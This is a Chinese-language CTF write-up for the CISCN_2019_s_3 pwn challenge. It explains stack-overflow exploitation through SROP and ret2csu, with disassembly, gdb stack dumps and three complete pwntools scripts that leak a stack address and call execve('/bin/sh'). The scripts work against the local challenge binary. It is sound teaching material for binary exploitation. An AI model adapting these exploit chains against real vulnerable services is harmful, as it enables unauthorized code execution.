Eureka's Studio.

(Srop&Ret2csu)CISCN_2019_s_3

2023/11/01

经典题目 有可以用ret2csu或者srop来做 不过srop的话这题比smallest简单

[Srop&Ret2csu]CISCN_2019_s_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:00000000004004ED buf             = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn

.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn

对于这题而言 他在vuln函数中自带了read和write函数 并且在gadgets中也存有将rax置为0xf的代码段 那还说啥直接开整

SROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
sh = process('./ciscn_s_3')
gdb.attach(sh)

syscall_ret = 0x400517
vuln_addr = 0x4004ED

payload = 'a' * 0x10 + p64(0x4004ed)
#print payload
#pause()
sh.send(payload)
#pause()
stack_addr = u64(sh.recvuntil(b'\\\\x7f')[-6:].ljust(8,'\\\\0'))

边分析边说代码中可能会疑惑的小点 首先是对于栈结构的分析 无论是read还是write 起始的buf地址都是在rsp的低0x10位开始的 无论是调试还是看ida都能发现 所以我们在覆盖ret地址时得有个0x10的padding 然后就是返回地址的填写 如果我们如上述exp所填写 那么对于栈来说有如下操作

1
2
3
ret(或者说pop eip)
push rbp
mov rbp,rsp

可以发现 这样一来我们的rsp指针位置在这一过程中相当于没有改变 其实这个地址直接填0x4004f1也是可以的 其次是对于我们接受的stack地址而言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
stack
00:0000│ rbp rsp 0x7ffecedaf1d0 —▸ 0x4004ed (vuln) ◂— push rbp
01:0008│ 0x7ffecedaf1d8 —▸ 0x400536 (main+25) ◂— nop
02:0010│ 0x7ffecedaf1e0 —▸ 0x7ffecedaf2d8 —▸ 0x7ffecedb13ea ◂— './ciscn_s_3'
03:0018│ 0x7ffecedaf1e8 ◂— 0x100000000
04:0020│ 0x7ffecedaf1f0 —▸ 0x400540 (__libc_csu_init) ◂— push r15

recv
[DEBUG] Received 0x30 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 ed 04 40 00 00 00 00 00 36 05 40 00 00 00 00 00 │··@·│····│6·@·│····│
00000020 d8 f2 da ce fe 7f 00 00 00 00 00 00 01 00 00 00 │····│····│····│····│
00000030
0x7ffecedaf2d8

对于write而言 输出的是栈上的内容 对于我们后期定位binsh字符串来说 能用的只有接受中唯一一个0x7f开头的地址 而这个地址其实很有意思

1
02:0010│          0x7ffecedaf1e0 —▸ 0x7ffecedaf2d8 —▸ 0x7ffecedb13ea ◂— './ciscn_s_3'

对于这次调试 输出的是0x7ffecedaf2d8 并不是后面的 原因是栈上只能存储一个指针地址 0x7ffecedaf1e0存储指向0x7ffecedaf2d8的 0x7ffecedaf2d8存储指向0x7ffecedb13ea的 以此类推 更重要的是0x7ffecedaf2d8地址 他是该函数栈帧的一部分 他与0x7ffecedaf1e0的差值永远是0x108 那么我们就不需要在通过sigreturn调用一个read来输入了 直接用自带的就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./ciscn_s_3')
sh = process('./ciscn_s_3')
gdb.attach(sh)

syscall_ret = 0x400517
read_start_addr = 0x4004F1
vuln_addr = 0x4004ED

payload = 'a' * 0x10 + p64(0x4004ed)
#print payload
pause()
sh.send(payload)
pause()

stack_addr = u64(sh.recvuntil(b'\\\\x7f')[-6:].ljust(8,'\\\\0'))
print(hex(stack_addr))

execve = SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=stack_addr
execve.rsi=0x0
execve.rdx=0x0
execve.rsp=stack_addr - 0x108
execve.rip=syscall_ret
execv_frame_payload='a' * 0x10 + p64(0x4004DA) + p64(syscall_ret) + str(execve)
execv_frame_payload_all=execv_frame_payload+'/bin/sh\\\\x00'

pause()
sh.send(execv_frame_payload_all)
pause()
#sh.interactive()

关于frame的payload 第一个地址可以是read 那么输入15个字节 或者像本题一样 第二个地址都是syscall_ret 固定格式 然后比较巧的是 经过调试发现binsh地址正好就是之前泄漏的stack_addr

SROP2.0

其实有些细节是可以提速的 首先是关于binsh字符串的存储 我们已知了我们leak的stack地址和我们的rsp地址存在一个固定差值 我们又知道我们在输入时一定在rsp的低0x10字节 那么我们是否可以构造将binsh放在rsp的低位置呢 如果是的话 有以下关系

1
2
3
leak_addr = rsp + 0x108
binsh_addr = rsp - 0x10
---> leak_addr = binsh_addr + 0x118

我们在开头就输入binsh 而后用leak_addr - 0x118即可得到真实地址 再一个对于最后一个frame 我们其实可以不用去设置rsp地址 但是rip是一定要的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./ciscn_s_3')
sh = process('./ciscn_s_3')
#gdb.attach(sh)

syscall_ret = 0x400517
read_start_addr = 0x4004F1
vuln_addr = 0x4004ED

payload = 'a' * 0x10 + p64(0x4004ed)
#print payload
#pause()
sh.send(payload)
#pause()

stack_addr = u64(sh.recvuntil(b'\\\\x7f')[-6:].ljust(8,'\\\\0'))
print(hex(stack_addr))

execve = SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=stack_addr - 0x118
execve.rsi=0x0
execve.rdx=0x0
execve.rip=syscall_ret
execv_frame_payload='/bin/sh\\\\x00' * 2 + p64(0x4004DA) + p64(syscall_ret) + str(execve)
execv_frame_payload_all=execv_frame_payload

#pause()
sh.send(execv_frame_payload_all)
#pause()
sh.interactive()

虽然代码量可能没咋变

ret2csu

在此题中 ret2csu也绕了点弯 由于我们查看了got表 只有一个__libc_start_main的got 那么我们还是得借助系统调用来execve

1
2
.text:00000000004004E2                 mov     rax, 3Bh
.text:00000000004004E9

题目还是相当良心的 直接给了我们0x3B 那么现在也只需要解决binsh的问题了

1
execve(/bin/sh\\\\x00,0,0)

而binsh的话 我们可以参考前面srop 直接写在前面的padding里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
elf = ELF('./ciscn_s_3')
sh = process('./ciscn_s_3')

csu1 = 0x40059A
csu2 = 0x400580
vuln = 0x4004ed
ret = 0x4004E1
mov_rax = 0x4004E2
pop_rdi = 0x4005a3
syscall = 0x400517

gdb.attach(sh)
payload = 'a' * 0x10 + p64(vuln)
pause()
sh.send(payload)
pause()
leak_addr = u64(sh.recvuntil(b'\\\\x7f')[-6:].ljust(8,'\\\\0'))
print hex(leak_addr)
buf_addr = leak_addr - 0x118

payload = p64(ret) + '/bin/sh\\\\x00'
payload += p64(0x4004E2)
payload += p64(csu1)
paylaod += p64(0) + p64(1) + p64(ret) + p64(0) + p64(0) + p64(0)
paylaod += p64(csu2)
payload += p64(0) * 7
payload += p64(pop_rdi) + p64(buf_addr + 0x8)
payload += p64(syscall)
paylaod += p64(vuln)

sh.send(payload)
sh.interactive()

这个payload又一个要注意的点就是 由于我们不知道(我懒)rdi的高8位有没有数值 干脆直接在后面跟了个pop_rdi 将我们的binsh地址穿进去 重点是那个r12参数

1
2
.text:0000000000400589                 call    qword ptr [r12+rbx*8]
07:0038│ 0x7ffc88f94520 —▸ 0x4005a3 (__libc_csu_init+99) ◂— pop rdi

对于这个call而言 我们的r12不能是栈内容 必须是栈本身 简单来说r12必须是0x7ffc88f94520 而不能是0x4005a3 那么我们必须得借助之前的padding地址 而不能直接写 再一点就是r12的内容 其实在本题而言r12对于函数调用确实用不到 但是如果填0会寄 于是我们可以试一下填一个ret

1
2
push ebp
ret(pop eip)

这样操作下来栈相当于没变化 最后啰嗦一句syscall和sigreturn

1
2
syscall:设置好寄存器后 通过syscall系统调用
sigreturn:设置好栈上内容后 通过sigreturn控制寄存器内容
CATALOG
  1. 1. [Srop&Ret2csu]CISCN_2019_s_3
    1. 1.1. SROP
    2. 1.2. SROP2.0
    3. 1.3. ret2csu